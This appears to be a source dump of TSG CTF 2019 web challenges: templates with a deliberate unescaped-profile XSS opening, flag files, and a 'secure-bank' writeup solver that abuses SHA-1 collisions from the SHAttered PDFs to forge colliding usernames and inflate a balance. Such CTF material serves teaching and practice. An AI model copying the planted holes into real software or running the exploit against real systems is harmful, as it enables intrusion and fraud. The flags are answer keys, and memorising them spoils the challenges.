9 | {% endblock %} 10 | -------------------------------------------------------------------------------- /web/recon/dist/templates/base.phtml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | URProfile 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 24 | {% block body %} 25 | {% endblock %} 26 | 27 | 28 | -------------------------------------------------------------------------------- /web/recon/dist/templates/index.phtml: -------------------------------------------------------------------------------- 1 | {% extends 'base.phtml' %} 2 | 3 | {% block body %} 4 |
5 |
6 |

URProfile

7 |

Publish Your Profile Quickly.

8 |
9 |
10 |
11 |

Sign In

12 | {% if error_message is defined %} 13 | 16 | {% endif %} 17 | 18 | 19 | 20 | 21 | 22 |
23 |
24 |
25 |
26 |
27 |
28 |

Simple.

29 |

Sample by admin with iframe.

30 | 31 |
32 |
33 |
34 |
35 |

Expressive.

36 |

You can use HTML tags such as <b>, <i>, etc.

37 | 38 |
39 |
40 |
41 | 42 |
43 |
44 |
45 |
URProfile
46 | © 2019 47 |
48 |
49 |
Organizers
50 |
    51 |
  • TSG
  • 52 |
53 |
54 |
55 |
Coming soon.
56 | 59 |
60 |
61 |
Coming soon.
62 | 65 |
66 |
67 |
Coming soon.
68 | 71 |
72 |
73 |
74 | 75 | 76 | {% endblock %} 77 | -------------------------------------------------------------------------------- /web/recon/dist/templates/myprofile.phtml: -------------------------------------------------------------------------------- 1 | {% extends 'base.phtml' %} 2 | 3 | {% block body %} 4 | 5 |
6 |
7 | {% if error_message is defined %} 8 | 11 | {% endif %} 12 |
13 |
14 |
Your Profile
15 |
{{ user['username'] }}
16 |

{{ user['profile'] | raw }}

17 |
18 | {% for key, value in recovery_questions %} 19 | {{ value }} 20 | {% endfor %} 21 |
22 | Your Profile Page 23 |
24 |
25 |
26 |
27 |
28 |

Edit Your Profile

29 | 30 | 31 | 32 | 33 |
34 |
35 |
36 |
37 | 38 | 39 | 40 | 41 |
42 |
43 |
44 | {% endblock %} 45 | -------------------------------------------------------------------------------- /web/recon/dist/templates/profile.phtml: -------------------------------------------------------------------------------- 1 | {% extends 'base.phtml' %} 2 | 3 | {% block body %} 4 |
5 |
6 |
7 |
8 |
{{ user['username'] }}
9 |

{{ user['profile'] | raw }}

10 |
11 |
12 |
13 |
14 | {% endblock %} 15 | -------------------------------------------------------------------------------- /web/recon/dist/templates/recovery.phtml: -------------------------------------------------------------------------------- 1 | {% extends 'base.phtml' %} 2 | 3 | {% block body %} 4 |
5 |
6 |
7 |

Get Recovery Message

8 |
9 | {% if error_message is defined %} 10 | 13 | {% endif %} 14 |

Username to be recovered

15 |
16 | 17 |
18 |

Security Questions

19 |
20 |

Please check what you like. If your preferences match the one that you registered perfectly, the system will show your password hint configured at the time of registration.

21 | {% for key, value in recovery_questions %} 22 |
23 | 24 | 27 |
28 | {% endfor %} 29 |
30 | 31 | 32 |
33 |
34 | 35 |
36 |
37 |
38 |
39 | {% endblock %} 40 | -------------------------------------------------------------------------------- /web/recon/dist/templates/report.phtml: -------------------------------------------------------------------------------- 1 | {% extends 'base.phtml' %} 2 | 3 | {% block body %} 4 |
5 |
6 |
7 |

Report a User

8 |

If you found a suspicious user, please tell us the username. Administrators will check the user's page(`/profile/xxxxxxxx`).

9 | 10 | {% if error_message is defined %} 11 |
12 | 15 |
16 | {% endif %} 17 | {% if message is defined %} 18 |
19 | 22 |
23 | {% endif %} 24 |
25 |
26 | 27 | 28 |
29 |
30 | 31 | 32 | 33 |
34 |
35 |
36 | {% endblock %} 37 | -------------------------------------------------------------------------------- /web/recon/dist/templates/reveal.phtml: -------------------------------------------------------------------------------- 1 | 2 | {% extends 'base.phtml' %} 3 | 4 | {% block body %} 5 |
6 |
7 | 8 |
9 |
Recovery Message
10 |
11 |

{{ message }}

12 |
13 |
14 |
15 |
16 | {% endblock %} 17 | -------------------------------------------------------------------------------- /web/recon/dist/templates/signup.phtml: -------------------------------------------------------------------------------- 1 | {% extends 'base.phtml' %} 2 | 3 | {% block body %} 4 |
5 |
6 |
7 |

Sign Up

8 | {% if error_message is defined %} 9 | 12 | {% endif %} 13 | 14 |

Basic Information

15 |
16 | 17 | 18 |
19 |
20 | 21 | 22 |
23 |
24 | 25 | 26 |
27 |
28 | 29 | 30 |
31 | 32 |

Security Question

33 |

Please check what you like. This answer will be used when you would like to see the recovery message you set above.

34 |
35 | {% for key, value in recovery_questions %} 36 |
37 | 38 | 41 |
42 | {% endfor %} 43 |
44 | 45 | 46 | 47 |
48 | 49 |
50 |
51 | {% endblock %} 52 | -------------------------------------------------------------------------------- /web/recon/flag.txt: -------------------------------------------------------------------------------- 1 | TSGCTF{x5_l34k5_4R3_4M421ng} 2 | -------------------------------------------------------------------------------- /web/secure-bank/README.md: -------------------------------------------------------------------------------- 1 | # Secure Bank 2 | 3 | ## Statement 4 | I came up with more secure technique to store user list. 5 | Even if a cracker could dump it, now it should be of little value!!! 6 | 7 | ユーザ情報を保存するのに、もっとセキュアな方法を思いついた気がしなくもない。 8 | 仮に全部ダンプされてしまったとしても、かなり無価値になりそうでは。 9 | 10 | http://[host]:19292/ 11 | 12 | ## Genre 13 | web + misc ? 14 | 15 | ## Difficulty 16 | easy 17 | 18 | ## Dist 19 | No, but you can find source code while playing. 20 | 21 | ## Deploy 22 | `docker-compose up --build -d` 23 | 24 | Then, access `http://localhost:9292/` 25 | -------------------------------------------------------------------------------- /web/secure-bank/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | app: 4 | restart: always 5 | build: src 6 | ports: 7 | - '19292:9292' 8 | volumes: 9 | - ./src:/app 10 | -------------------------------------------------------------------------------- /web/secure-bank/src/.gitignore: -------------------------------------------------------------------------------- 1 | vendor 2 | -------------------------------------------------------------------------------- /web/secure-bank/src/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ruby:2.6.3-alpine 2 | 3 | COPY . /app 4 | RUN apk add --no-cache build-base sqlite-dev sqlite-libs && \ 5 | cd /app && \ 6 | bundle install && \ 7 | apk del --purge build-base sqlite-dev 8 | 9 | CMD cd /app && bundle exec puma -C puma.rb 10 | -------------------------------------------------------------------------------- /web/secure-bank/src/Gemfile: -------------------------------------------------------------------------------- 1 | source :rubygems 2 | 3 | gem 'rack' 4 | gem 'rack-contrib' 5 | gem 'sinatra' 6 | gem 'sinatra-contrib' 7 | gem 'sqlite3' 8 | gem 'puma' 9 | -------------------------------------------------------------------------------- /web/secure-bank/src/Gemfile.lock: -------------------------------------------------------------------------------- 1 | GEM 2 | remote: http://rubygems.org/ 3 | specs: 4 | backports (3.13.0) 5 | multi_json (1.13.1) 6 | mustermann (1.0.3) 7 | puma (3.12.1) 8 | rack (2.0.7) 9 | rack-contrib (2.1.0) 10 | rack (~> 2.0) 11 | rack-protection (2.0.5) 12 | rack 13 | sinatra (2.0.5) 14 | mustermann (~> 1.0) 15 | rack (~> 2.0) 16 | rack-protection (= 2.0.5) 17 | tilt (~> 2.0) 18 | sinatra-contrib (2.0.5) 19 | backports (>= 2.8.2) 20 | multi_json 21 | mustermann (~> 1.0) 22 | rack-protection (= 2.0.5) 23 | sinatra (= 2.0.5) 24 | tilt (>= 1.3, < 3) 25 | sqlite3 (1.4.0) 26 | tilt (2.0.9) 27 | 28 | PLATFORMS 29 | ruby 30 | 31 | DEPENDENCIES 32 | puma 33 | rack 34 | rack-contrib 35 | sinatra 36 | sinatra-contrib 37 | sqlite3 38 | 39 | BUNDLED WITH 40 | 1.16.6 41 | -------------------------------------------------------------------------------- /web/secure-bank/src/config.ru: -------------------------------------------------------------------------------- 1 | require_relative 'app' 2 | 3 | run App 4 | -------------------------------------------------------------------------------- /web/secure-bank/src/data/.gitignore: -------------------------------------------------------------------------------- 1 | db.sqlite3 2 | -------------------------------------------------------------------------------- /web/secure-bank/src/data/flag.txt: -------------------------------------------------------------------------------- 1 | TSGCTF{H4SH_FUNCTION_1S_NOT_INJ3C71V3... :(} 2 | -------------------------------------------------------------------------------- /web/secure-bank/src/public/app.js: -------------------------------------------------------------------------------- 1 | function api(path, body) { 2 | return fetch(path, { 3 | method: 'POST', 4 | credentials: 'include', 5 | headers: { 6 | 'Content-Type': 'application/json', 7 | }, 8 | body: JSON.stringify(body), 9 | }).then(res => { 10 | if(!res.ok) { 11 | return res.json().catch(_ => { 12 | throw {message: 'something went wrong'}; 13 | }).then(({message}) => { 14 | throw {message: message || 'something went wrong'}; 15 | }); 16 | } 17 | return res; 18 | }); 19 | } 20 | 21 | const app = new Vue({ 22 | el: '#app', 23 | data: { 24 | tab: 'transfer', 25 | flag: '', 26 | info: '', 27 | error: '', 28 | logined: false, 29 | balance: 0, 30 | username: '', 31 | password: '', 32 | target: '', 33 | amount: '', 34 | }, 35 | mounted() { 36 | if (localStorage.username) { 37 | api('/api/balance', {}).then(res => res.json()).then(({balance}) => { 38 | this.balance = balance; 39 | this.username = localStorage.username; 40 | this.logined = true; 41 | }).catch(_ => localStorage.username = ''); 42 | } 43 | }, 44 | methods: { 45 | updateMessage({info, error}) { 46 | this.info = info || ''; 47 | this.error = error || ''; 48 | }, 49 | register() { 50 | api('/api/register', { 51 | user: this.username, 52 | pass: this.password, 53 | }).then(res => { 54 | this.updateMessage({info: 'Registered'}); 55 | }).catch(({message}) => this.updateMessage({error: message || 'fetch error'})); 56 | }, 57 | login() { 58 | api('/api/login', { 59 | user: this.username, 60 | pass: this.password, 61 | }).then(res => { 62 | localStorage.username = this.username; 63 | this.logined = true; 64 | this.updateMessage({info: 'Logged in'}); 65 | 66 | return api('/api/balance', {}).then(res => res.json()).then(({balance}) => { 67 | this.balance = balance; 68 | }); 69 | }).catch(({message}) => this.updateMessage({error: message || 'fetch error'})); 70 | }, 71 | logout() { 72 | api('/api/logout', {}).then(res => { 73 | localStorage.username = ''; 74 | this.username = ''; 75 | this.logined = false; 76 | this.updateMessage({info: 'Logged out'}); 77 | }).catch(({message}) => this.updateMessage({error: message || 'fetch error'})); 78 | }, 79 | transfer() { 80 | api('/api/transfer', { 81 | target: this.target, 82 | amount: this.amount, 83 | }).then(res => res.json()).then(res => { 84 | this.balance = res.balance; 85 | this.updateMessage({info: 'Transferred'}); 86 | }).catch(({message}) => this.updateMessage({error: message || 'fetch error'})); 87 | }, 88 | getflag() { 89 | return fetch('/api/flag', { 90 | method: 'GET', 91 | credentials: 'include', 92 | }).then(res => res.json()) 93 | .then(({flag, message}) => { 94 | this.flag = flag; 95 | this.updateMessage({error: message}); 96 | }); 97 | }, 98 | } 99 | }); 100 | -------------------------------------------------------------------------------- /web/secure-bank/src/puma.rb: -------------------------------------------------------------------------------- 1 | threads 256, 512 2 | environment 'production' 3 | preload_app! 4 | tag 'secure-bank' 5 | -------------------------------------------------------------------------------- /web/secure-bank/writeup/atk.rb: -------------------------------------------------------------------------------- 1 | require 'net/http' 2 | 3 | HOST = ENV['HOST'] || 'localhost' 4 | 5 | def urlencode(obj) 6 | obj.map{|k,v| '%s=%s' % ([k, v].map{|val| val.to_s.bytes.map{|b| '%%%02x' % b}.join})}.join ?& 7 | end 8 | 9 | sh1 = Net::HTTP.get_response(URI('http://shattered.io/static/shattered-1.pdf')).body 10 | sh2 = Net::HTTP.get_response(URI('http://shattered.io/static/shattered-2.pdf')).body 11 | 12 | random = 16.times.map{rand(256).chr}.join 13 | user = sh1[0, 0x200] + random 14 | target = sh2[0, 0x200] + random 15 | pass = 'strongpassword' 16 | 17 | Net::HTTP.start(HOST, 19292) do |http| 18 | resp = http.post('/api/register', urlencode({user: user, pass: pass})) 19 | raise 'error' unless resp.code.to_i == 200 20 | 21 | resp = http.post('/api/login', urlencode({user: user, pass: pass})) 22 | raise 'error' unless resp.code.to_i == 200 23 | cookie = resp['Set-Cookie'] 24 | 25 | amount = 100 26 | 30.times do 27 | resp = http.post('/api/balance', urlencode({}), {Cookie: cookie}) 28 | puts resp.body 29 | 30 | resp = http.post('/api/transfer', urlencode({target: target, amount: amount}), {Cookie: cookie}) 31 | raise 'error' unless resp.code.to_i == 200 32 | amount *= 2 33 | end 34 | 35 | resp = http.get2('/api/flag', {Cookie: cookie}) 36 | raise 'error' unless resp.code.to_i == 200 37 | puts resp.body 38 | end 39 | --------------------------------------------------------------------------------